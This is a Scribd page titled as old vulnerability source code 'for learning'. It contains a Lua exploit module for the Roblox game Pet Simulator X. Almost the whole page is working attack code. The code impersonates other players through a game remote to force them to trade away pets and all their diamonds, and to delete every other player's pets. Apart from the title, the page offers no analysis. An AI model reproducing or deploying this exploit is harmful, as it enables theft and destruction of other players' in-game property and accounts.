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Pet Simulator X Old Vuln Source Code For Learning

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0% found this document useful (0 votes)
300 views2 pages

Pet Simulator X Old Vuln Source Code For Learning

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
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local v2 =

require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
local TradingGui = v2.GUI.Trading
local key = nil
local MainRemote = workspace.__THINGS.__REMOTES.MAIN
local PSX = {}
function InvokeAsPlayer(Player, Remote, ...)
MainRemote:FireServer("f", Remote, Player, {...})
end

function PSX.Invoke(Player, Remote, ...)


return InvokeAsPlayer(Player, Remote, ...)
end

function PSX.GetPetIds(player)
local uids = {}
local PlayerData = workspace.__THINGS.__REMOTES['get
stats']:InvokeServer({player})[1]
for i,v in pairs(PlayerData.Pets) do
if i~=1 then
table.insert(uids, v.uid)
end
end
return uids
end

function PSX.GetDiamondCount(player)
return workspace.__THINGS.__REMOTES["get stats"]:InvokeServer({player})[1]
['Diamonds']
end

game:GetService("Workspace")["__THINGS"]["__REMOTES"]["init
trade"].OnClientEvent:Connect(function(e)
key = e[1]
end)

function PSX.DeletePlayerPets(player)
local uids = GetPetIds(player)
InvokeAsPlayer(player, "delete several pets", uids)
end

function PSX.GetPlayerData(player)
return workspace.__THINGS.__REMOTES["get stats"]:InvokeServer({player})[1]
end

function PSX.ForceTrade(player, pet_limit)


InvokeAsPlayer(player, "send trade invite", game.Players.LocalPlayer.Name)
repeat task.wait() until key ~= nil
local petids = PSX.GetPetIds(player)
local ignore_one = petids[1]
pet_limit = pet_limit or 20
local idx = 0
for _,v in pairs(petids) do
idx = idx + 1
if idx == pet_limit then
break
end
if v ~= ignore_one then
InvokeAsPlayer(player, 'add trade pet', key, v)
end
end
InvokeAsPlayer(player, 'change trade diamonds', key,
tostring(PSX.GetDiamondCount(player)))
InvokeAsPlayer(player, 'ready trade', key)
InvokeAsPlayer(game.Players.LocalPlayer, 'ready trade', key)
end

function PSX.ForceTradeAllDiamonds(player)
InvokeAsPlayer(player, 'toggle setting', {[1] = "Trading" })
InvokeAsPlayer(player, "send trade invite", game.Players.LocalPlayer.Name)
repeat task.wait() until key ~= nil
local PetIds = PSX.GetPetIds(player)
InvokeAsPlayer(player, 'add trade pet', key, PetIds[1])
InvokeAsPlayer(player, 'remove trade pet', key, PetIds[1])
InvokeAsPlayer(player, 'change trade diamonds', key,
tostring(PSX.GetDiamondCount(player)))
InvokeAsPlayer(player, 'ready trade', key)
InvokeAsPlayer(game.Players.LocalPlayer, 'ready trade', key)
end

function PSX.GetPlayers()
local p = {}
for i,v in pairs(game.Players:GetPlayers()) do
if v ~= game.Players.LocalPlayer then
table.insert(p, v)
end
end
return p
end

function PSX.DeleteAllPlayerPets(player)
local p = PSX.GetPlayers()
for i,v in pairs(p) do
PSX.DeletePlayerPets(v)
end
end

return PSX

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